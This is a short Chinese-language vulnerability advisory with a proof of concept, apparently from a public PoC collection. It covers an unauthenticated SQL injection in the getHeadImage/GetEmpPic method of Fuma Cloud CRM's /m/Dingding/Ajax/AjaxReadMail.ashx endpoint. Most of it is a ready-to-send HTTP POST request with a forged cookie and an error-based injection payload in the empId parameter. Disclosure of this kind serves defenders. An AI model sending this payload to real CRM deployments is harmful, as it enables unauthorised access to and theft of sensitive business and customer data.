孚盟云CRM /m/Dingding/Ajax/AjaxReadMail.ashx SQL 注入漏洞

2026-01-30 孚盟云CRM PoC Public

Description

孚盟云 CRM 系统中，/m/Dingding/Ajax/AjaxReadMail.ashx 接口的 getHeadImage 方法存在 SQL 注入漏洞，该接口在处理用户传入参数时未进行有效的过滤和参数化处理，攻击者可构造恶意 SQL 语句注入后台数据库查询，从而在未授权的情况下获取数据库中的敏感信息。

PoC

POST /m/Dingding/Ajax/AjaxReadMail.ashx HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Cookie: UserCookie={"empId":"1","corpId": "1"}

method=GetEmpPic&empId='-1/convert(int,char(126)%2bchar(78)%2bchar(106)%2bchar(126))--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Fuma Cloud CRM /m/Dingding/Ajax/AjaxReadMail.ashx SQL Injection Vulnerability

References

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